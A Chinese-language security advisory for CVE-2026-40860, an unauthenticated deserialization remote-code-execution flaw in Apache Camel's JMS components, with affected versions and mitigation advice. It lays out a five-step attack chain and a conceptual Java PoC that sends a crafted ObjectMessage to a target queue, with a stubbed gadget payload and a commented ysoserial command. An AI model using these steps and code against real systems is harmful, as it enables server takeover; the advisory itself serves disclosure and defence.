IPBUF安全漏洞报告
English
CVE-2026-40860 CVSS 9.8 严重

CVE-2026-40860 Apache Camel JMS反序列化远程代码执行漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-40860
漏洞类型
反序列化漏洞
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Apache Camel

相关标签

反序列化远程代码执行Apache CamelJMSRCECVE-2026-40860

漏洞概述

Apache Camel的camel-jms和camel-sjms组件在处理JMS ObjectMessage时存在严重的安全缺陷。由于默认启用的mapJmsMessage选项,这些组件在提取消息体时调用getObject()进行反序列化,但未应用任何ObjectInputFilter或类白名单机制。攻击者若能向目标队列发送恶意对象消息,且目标环境存在反序列化gadget链,即可触发远程代码执行。

技术细节

漏洞核心在于JmsBinding.extractBodyFromJms()方法直接使用javax.jms.ObjectMessage.getObject()对消息体进行反序列化,且缺乏必要的安全过滤。受影响组件包括camel-jms、camel-sjms,并通过继承关系影响camel-sjms2、camel-amqp及基于JMSComponent的组件(如camel-activemq)。该路径在默认配置下处于激活状态,攻击者只需向被Camel监听的JMS队列或主题发送特制的序列化对象。一旦反序列化发生,若类路径中存在如CommonsCollections等利用链,攻击者即可执行任意代码,完全控制服务器。

攻击链分析

STEP 1
侦察与访问
攻击者识别目标使用的Apache Camel版本及JMS服务地址,并获得向JMS队列或主题发送消息的权限。
STEP 2
构造载荷
攻击者根据目标环境类路径中的依赖库(如CommonsCollections),利用ysoserial等工具生成反序列化gadget链载荷。
STEP 3
发送恶意消息
攻击者将恶意序列化对象封装入JMS ObjectMessage,并发送至由Camel应用消费的目标队列。
STEP 4
触发反序列化
Camel应用接收到消息后,JmsBinding调用getObject()方法,在无过滤的情况下对消息体进行反序列化。
STEP 5
执行代码
反序列化过程触发gadget链,导致攻击者预设的任意代码在服务器端执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Java Conceptual PoC for CVE-2026-40860 // Demonstrates sending a malicious ObjectMessage to trigger deserialization in Apache Camel import javax.jms.*; import org.apache.activemq.ActiveMQConnectionFactory; public class CamelDeserializationPoc { public static void main(String[] args) { try { // 1. Establish connection to the JMS Broker ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://target-jms-broker:61616"); Connection connection = connectionFactory.createConnection(); Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE); // 2. Define the target queue or topic consumed by Camel Destination destination = session.createQueue("VULNERABLE_QUEUE"); MessageProducer producer = session.createProducer(destination); // 3. Generate a malicious payload object using a gadget chain (e.g., via ysoserial) // Object payload = SerializeUtil.generate("CommonsCollections5", "touch /tmp/pwned"); Object maliciousPayload = getExploitObject(); // 4. Wrap the payload in an ObjectMessage ObjectMessage message = session.createObjectMessage(); message.setObject(maliciousPayload); // 5. Send the message. Camel's JmsBinding will deserialize it automatically. producer.send(message); System.out.println("[+] Malicious ObjectMessage sent successfully."); connection.close(); } catch (Exception e) { e.printStackTrace(); } } // Helper to simulate payload generation private static Object getExploitObject() { // In a real attack, return a serialized object from a gadget chain return "ExploitGadgetObject"; } }

影响范围

Apache Camel >= 3.0.0, < 4.14.7
Apache Camel >= 4.15.0, < 4.18.2
Apache Camel >= 4.19.0, < 4.20.0

防御指南

临时缓解措施
如果无法立即升级,建议在JMS端点配置中禁用mapJmsMessage选项,以阻止自动反序列化ObjectMessage。同时,应严格限制对JMS代理的网络访问,防止未授权方发布恶意消息。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表